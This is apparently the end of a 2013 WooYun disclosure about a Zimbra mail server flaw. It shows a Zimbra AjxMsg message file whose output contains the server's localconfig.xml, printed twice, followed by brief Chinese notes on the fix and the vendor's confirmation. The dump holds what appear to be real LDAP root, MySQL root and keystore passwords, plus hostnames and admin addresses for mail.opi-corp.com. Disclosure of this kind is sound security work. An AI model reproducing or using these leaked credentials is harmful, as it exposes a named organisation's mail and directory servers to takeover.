a["Pacific/Auckland"]="GMT +12:00 New Zealand";
a["Pacific/Fiji"]="GMT +12:00 Fiji";
a["Pacific/Guam"]="GMT +10:00 Guam, Port Moresby";
a["Pacific/Midway"]="GMT -11:00 Samoa";
a["Pacific/Tongatapu"]="GMT +13:00 Nuku'alofa";
a["America/Anchorage"]="GMT -09:00 Alaska";
a["America/Phoenix"]="GMT -07:00 Arizona";
a["America/Chicago"]="GMT -06:00 US/Canada Central";
a["America/Indiana/Indianapolis"]="GMT -05:00 Indiana (East)";
a["America/New_York"]="GMT -05:00 US/Canada Eastern";
a["Pacific/Honolulu"]="GMT -10:00 Hawaii";
a["America/Denver"]="GMT -07:00 US/Canada Mountain";
a["America/Los_Angeles"]="GMT -08:00 US/Canada Pacific";
a["fontFamilyBase1.display"]="Andale Mono";
a["fontFamilyBase2.display"]="Arial";
a["fontFamilyBase3.display"]="Arial Black";
a["fontFamilyBase4.display"]="Book Antiqua";
a["fontFamilyBase5.display"]="Bookman Old Style";
a["fontFamilyBase6.display"]="Comic Sans MS";
a["fontFamilyBase7.display"]="Courier New";
a["fontFamilyBase8.display"]="Garamond";
a["fontFamilyBase9.display"]="Georgia";
a["fontFamilyBase10.display"]="Helvetica";
a["fontFamilyBase11.display"]="Impact";
a["fontFamilyBase12.display"]="Lucida Console";
a["fontFamilyBase13.display"]="Symbol";
a["fontFamilyBase14.display"]="Tahoma";
a["fontFamilyBase15.display"]="Terminal";
a["fontFamilyBase16.display"]="Times New Roman";
a["fontFamilyBase17.display"]="Trebuchet MS";
a["fontFamilyBase18.display"]="Verdana";
a["fontFamilyBase19.display"]="Webdings";
a["fontFamilyBase20.display"]="Wingdings";
a["fontFamilyBase21.display"]="###";
a["fontFamilyBase1.css"]="andale mono,times";
a["fontFamilyBase2.css"]="arial, helvetica, sans-serif";
a["fontFamilyBase3.css"]="arial black,avant garde";
a["fontFamilyBase4.css"]="book antiqua,palatino";
a["fontFamilyBase5.css"]="bookman old style, new york, times, serif";
a["fontFamilyBase6.css"]="comic sans ms, comic sans, sans-serif";
a["fontFamilyBase7.css"]="courier new, courier, monaco, monospace, sans-serif";
a["fontFamilyBase8.css"]="garamond, new york, times, serif";
a["fontFamilyBase9.css"]="georgia,serif";
a["fontFamilyBase10.css"]="helvetica";
a["fontFamilyBase11.css"]="impact,chicago";
a["fontFamilyBase12.css"]="lucida console, sans-serif";
a["fontFamilyBase13.css"]="symbol";
a["fontFamilyBase14.css"]="tahoma, new york, times, serif";
a["fontFamilyBase15.css"]="terminal,monaco";
a["fontFamilyBase16.css"]="times new roman, new york, times, serif";
a["fontFamilyBase17.css"]="trebuchet ms,sans-serif";
a["fontFamilyBase18.css"]="verdana, helvetica, sans-serif";
a["fontFamilyBase19.css"]="webdings";
a["fontFamilyBase20.css"]="wingdings,zapf dingbats";
a["fontFamilyBase21.css"]="###";
a["fontFamilyIntl1.display"]="###";
a["fontFamilyIntl1.css"]="###";
a["fontFamilyIntl2.display"]="###";
a["fontFamilyIntl2.css"]="###";
a["fontFamilyIntl3.display"]="###";
a["fontFamilyIntl3.css"]="###";
a["fontFamilyIntl4.display"]="###";
a["fontFamilyIntl4.css"]="###";
a["fontFamilyIntl5.display"]="###";
a["fontFamilyIntl5.css"]="###";
a["fontFamilyIntl6.display"]="###";
a["fontFamilyIntl6.css"]="###";
a["fontFamilyIntl7.display"]="###";
a["fontFamilyIntl7.css"]="###";
a["fontFamilyIntl8.display"]="###";
a["fontFamilyIntl8.css"]="###";
a["fontFamilyIntl9.display"]="###";
a["fontFamilyIntl9.css"]="###";
a["fontFamilyIntl10.display"]="###";
a["fontFamilyIntl10.css"]="###";
a["fontFamilyIntl11.display"]="###";
a["fontFamilyIntl11.css"]="###";
a["fontFamilyIntl12.display"]="###";
a["fontFamilyIntl12.css"]="###";
a["fontFamilyIntl13.display"]="###";
a["fontFamilyIntl13.css"]="###";
a["fontFamilyIntl14.display"]="###";
a["fontFamilyIntl14.css"]="###";
a["fontFamilyIntl15.display"]="###";
a["fontFamilyIntl15.css"]="###";
a["fontFamilyIntl16.display"]="###";
a["fontFamilyIntl16.css"]="###";
a["fontFamilyIntl17.display"]="###";
a["fontFamilyIntl17.css"]="###";
a["fontFamilyIntl18.display"]="###";
a["fontFamilyIntl18.css"]="###";
a["fontFamilyIntl19.display"]="###";
a["fontFamilyIntl19.css"]="###";
a["fontFamilyIntl20.display"]="###";
a["fontFamilyIntl20.css"]="###";
a["fontFamilyIntl21.display"]="###";
a["fontFamilyIntl21.css"]="###";
a["calc.ordinal.first"]="1st|first";
a["calc.ordinal.second"]="2nd|second";
a["calc.ordinal.third"]="3rd|third";
a["calc.ordinal.fourth"]="4th|fourth";
a["calc.ordinal.fifth"]="5th|fifth";
a["calc.ordinal.last"]="last";
a["calc.dayname.sunday"]="sun|sunday";
a["calc.dayname.monday"]="mon|monday";
a["calc.dayname.tuesday"]="tue|tues|tuesday";
a["calc.dayname.wednesday"]="wed|wednesday";
a["calc.dayname.thursday"]="thu|thur|thurs|thursday";
a["calc.dayname.friday"]="fri|friday";
a["calc.dayname.saturday"]="sat|saturday";
a["calc.monthname.january"]="jan|january";
a["calc.monthname.february"]="feb|february";
a["calc.monthname.march"]="mar|march";
a["calc.monthname.april"]="apr|april";
a["calc.monthname.may"]="may";
a["calc.monthname.june"]="jun|june";
a["calc.monthname.july"]="jul|july";
a["calc.monthname.august"]="aug|august";
a["calc.monthname.september"]="sep|september";
a["calc.monthname.october"]="oct|october";
a["calc.monthname.november"]="nov|november";
a["calc.monthname.december"]="dec|december";
if (!window.AjxMsg) { AjxMsg = {}; }
a=AjxMsg;
if (!window.AjxMsg) { AjxMsg = {}; }
a=AjxMsg;
a["<?xml"]="version=\"1.0\" encoding=\"UTF-8\"?>";
a["<localconfig>"]="";
a["<key"]="name=\"ldap_postfix_password\">";
a["<value>z1UGwBCcChko</value>"]="";
a["</key>"]="";
a["<key"]="name=\"ldap_master_url\">";
a["<value>ldap"]="//mail.opi-corp.com:389</value>";
a["</key>"]="";
a["<key"]="name=\"mailboxd_keystore\">";
a["<value>/opt/zimbra/mailboxd/etc/keystore</value>"]="";
a["</key>"]="";
a["<key"]="name=\"postfix_maximal_queue_lifetime\">";
a["<value>1d</value>"]="";
a["</key>"]="";
a["<key"]="name=\"postfix_setgid_group\">";
a["<value>postdrop</value>"]="";
a["</key>"]="";
a["<key"]="name=\"ldap_amavis_password\">";
a["<value>z1UGwBCcChko</value>"]="";
a["</key>"]="";
a["<key"]="name=\"zimbra_java_home\">";
a["<value>/opt/zimbra/java</value>"]="";
a["</key>"]="";
a["<key"]="name=\"smtp_source\">";
a["<value>admin@opi-corp.com</value>"]="";
a["</key>"]="";
a["<key"]="name=\"postfix_bounce_queue_lifetime\">";
a["<value>30m</value>"]="";
a["</key>"]="";
a["<key"]="name=\"zimbra_gid\">";
a["<value>500</value>"]="";
a["</key>"]="";
a["<key"]="name=\"av_notify_domain\">";
a["<value>opi-corp.com</value>"]="";
a["</key>"]="";
a["<key"]="name=\"smtp_destination\">";
a["<value>admin@opi-corp.com</value>"]="";
a["</key>"]="";
a["<key"]="name=\"mailboxd_java_heap_size\">";
a["<value>4812</value>"]="";
a["</key>"]="";
a["<key"]="name=\"ldap_url\">";
a["<value>ldap"]="//mail.opi-corp.com:389</value>";
a["</key>"]="";
a["<key"]="name=\"ldap_is_master\">";
a["<value>true</value>"]="";
a["</key>"]="";
a["<key"]="name=\"postfix_mail_owner\">";
a["<value>postfix</value>"]="";
a["</key>"]="";
a["<key"]="name=\"postfix_mydestination\">";
a["<value>localhost"]="opi-corp.com</value>";
a["</key>"]="";
a["<key"]="name=\"ldap_starttls_supported\">";
a["<value>1</value>"]="";
a["</key>"]="";
a["<key"]="name=\"ldap_replication_password\">";
a["<value>z1UGwBCcChko</value>"]="";
a["</key>"]="";
a["<key"]="name=\"zmtrainsa_cleanup_host\">";
a["<value>true</value>"]="";
a["</key>"]="";
a["<key"]="name=\"ldap_root_password\">";
a["<value>z1UGwBCcChko</value>"]="";
a["</key>"]="";
a["<key"]="name=\"mailboxd_directory\">";
a["<value>/opt/zimbra/mailboxd</value>"]="";
a["</key>"]="";
a["<key"]="name=\"mailboxd_server\">";
a["<value>jetty</value>"]="";
a["</key>"]="";
a["<key"]="name=\"zimbra_ldap_userdn\">";
a["<value>uid"]="zimbra,cn=admins,cn=zimbra</value>";
a["</key>"]="";
a["<key"]="name=\"av_notify_user\">";
a["<value>admin@opi-corp.com</value>"]="";
a["</key>"]="";
a["<key"]="name=\"zimbra_mysql_connector_maxActive\">";
a["<value>100</value>"]="";
a["</key>"]="";
a["<key"]="name=\"smtp_notify\">";
a["<value>yes</value>"]="";
a["</key>"]="";
a["<key"]="name=\"ldap_nginx_password\">";
a["<value>z1UGwBCcChko</value>"]="";
a["</key>"]="";
a["<key"]="name=\"zimbra_zmprov_default_to_ldap\">";
a["<value>false</value>"]="";
a["</key>"]="";
a["<key"]="name=\"zimbra_require_interprocess_security\">";
a["<value>1</value>"]="";
a["</key>"]="";
a["<key"]="name=\"zimbra_uid\">";
a["<value>500</value>"]="";
a["</key>"]="";
a["<key"]="name=\"mailboxd_keystore_password\">";
a["<value>Z3mFRosOJ</value>"]="";
a["</key>"]="";
a["<key"]="name=\"ldap_host\">";
a["<value>mail.opi-corp.com</value>"]="";
a["</key>"]="";
a["<key"]="name=\"mailboxd_truststore\">";
a["<value>/opt/zimbra/java/jre/lib/security/cacerts</value>"]="";
a["</key>"]="";
a["<key"]="name=\"zimbra_mysql_password\">";
a["<value>cVQuFGB2dmugf4w8pxU0Hbxc8</value>"]="";
a["</key>"]="";
a["<key"]="name=\"postfix_alias_maps\">";
a["<value>hash"]="/etc/aliases,hash:/opt/zimbra/mailman/data/aliases</value>";
a["</key>"]="";
a["<key"]="name=\"zimbra_ldap_password\">";
a["<value>wIFICIQq</value>"]="";
a["</key>"]="";
a["<key"]="name=\"ldap_port\">";
a["<value>389</value>"]="";
a["</key>"]="";
a["<key"]="name=\"snmp_notify\">";
a["<value>yes</value>"]="";
a["</key>"]="";
a["<key"]="name=\"ssl_allow_mismatched_certs\">";
a["<value>true</value>"]="";
a["</key>"]="";
a["<key"]="name=\"snmp_trap_host\">";
a["<value>mail.opi-corp.com</value>"]="";
a["</key>"]="";
a["<key"]="name=\"mysql_root_password\">";
a["<value>3kg1LRDlr1u_V12CwDtYEfwbSRvN</value>"]="";
a["</key>"]="";
a["<key"]="name=\"zimbra_user\">";
a["<value>zimbra</value>"]="";
a["</key>"]="";
a["<key"]="name=\"mailboxd_truststore_password\">";
a["<value>changeit</value>"]="";
a["</key>"]="";
a["<key"]="name=\"postfix_virtual_alias_maps\">";
a["<value>proxy"]="ldap:/opt/zimbra/conf/ldap-vam.cf,hash:/opt/zimbra/mailman/data/virtual-mailman</value>";
a["</key>"]="";
a["<key"]="name=\"ssl_allow_untrusted_certs\">";
a["<value>false</value>"]="";
a["</key>"]="";
a["<key"]="name=\"zimbra_server_hostname\">";
a["<value>mail.opi-corp.com</value>"]="";
a["</key>"]="";
a["</localconfig>"]="";
if (!window.AjxMsg) { AjxMsg = {}; }
a=AjxMsg;
a["<?xml"]="version=\"1.0\" encoding=\"UTF-8\"?>";
a["<localconfig>"]="";
a["<key"]="name=\"ldap_postfix_password\">";
a["<value>z1UGwBCcChko</value>"]="";
a["</key>"]="";
a["<key"]="name=\"ldap_master_url\">";
a["<value>ldap"]="//mail.opi-corp.com:389</value>";
a["</key>"]="";
a["<key"]="name=\"mailboxd_keystore\">";
a["<value>/opt/zimbra/mailboxd/etc/keystore</value>"]="";
a["</key>"]="";
a["<key"]="name=\"postfix_maximal_queue_lifetime\">";
a["<value>1d</value>"]="";
a["</key>"]="";
a["<key"]="name=\"postfix_setgid_group\">";
a["<value>postdrop</value>"]="";
a["</key>"]="";
a["<key"]="name=\"ldap_amavis_password\">";
a["<value>z1UGwBCcChko</value>"]="";
a["</key>"]="";
a["<key"]="name=\"zimbra_java_home\">";
a["<value>/opt/zimbra/java</value>"]="";
a["</key>"]="";
a["<key"]="name=\"smtp_source\">";
a["<value>admin@opi-corp.com</value>"]="";
a["</key>"]="";
a["<key"]="name=\"postfix_bounce_queue_lifetime\">";
a["<value>30m</value>"]="";
a["</key>"]="";
a["<key"]="name=\"zimbra_gid\">";
a["<value>500</value>"]="";
a["</key>"]="";
a["<key"]="name=\"av_notify_domain\">";
a["<value>opi-corp.com</value>"]="";
a["</key>"]="";
a["<key"]="name=\"smtp_destination\">";
a["<value>admin@opi-corp.com</value>"]="";
a["</key>"]="";
a["<key"]="name=\"mailboxd_java_heap_size\">";
a["<value>4812</value>"]="";
a["</key>"]="";
a["<key"]="name=\"ldap_url\">";
a["<value>ldap"]="//mail.opi-corp.com:389</value>";
a["</key>"]="";
a["<key"]="name=\"ldap_is_master\">";
a["<value>true</value>"]="";
a["</key>"]="";
a["<key"]="name=\"postfix_mail_owner\">";
a["<value>postfix</value>"]="";
a["</key>"]="";
a["<key"]="name=\"postfix_mydestination\">";
a["<value>localhost"]="opi-corp.com</value>";
a["</key>"]="";
a["<key"]="name=\"ldap_starttls_supported\">";
a["<value>1</value>"]="";
a["</key>"]="";
a["<key"]="name=\"ldap_replication_password\">";
a["<value>z1UGwBCcChko</value>"]="";
a["</key>"]="";
a["<key"]="name=\"zmtrainsa_cleanup_host\">";
a["<value>true</value>"]="";
a["</key>"]="";
a["<key"]="name=\"ldap_root_password\">";
a["<value>z1UGwBCcChko</value>"]="";
a["</key>"]="";
a["<key"]="name=\"mailboxd_directory\">";
a["<value>/opt/zimbra/mailboxd</value>"]="";
a["</key>"]="";
a["<key"]="name=\"mailboxd_server\">";
a["<value>jetty</value>"]="";
a["</key>"]="";
a["<key"]="name=\"zimbra_ldap_userdn\">";
a["<value>uid"]="zimbra,cn=admins,cn=zimbra</value>";
a["</key>"]="";
a["<key"]="name=\"av_notify_user\">";
a["<value>admin@opi-corp.com</value>"]="";
a["</key>"]="";
a["<key"]="name=\"zimbra_mysql_connector_maxActive\">";
a["<value>100</value>"]="";
a["</key>"]=&amp

漏洞证明:

请见详细说明,LDAP、MYSQL等密码都暴出来了。

修复方案:

0day漏洞。更新版本,如果用nginx的话,可以做下挡截。我想你比我更专业。。

版权声明:转载请注明来源 无尾熊@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:7

确认时间:2013-12-13 18:50

厂商回复:

已验证,正在联系相关部门处理,感谢感谢

最新状态:

暂无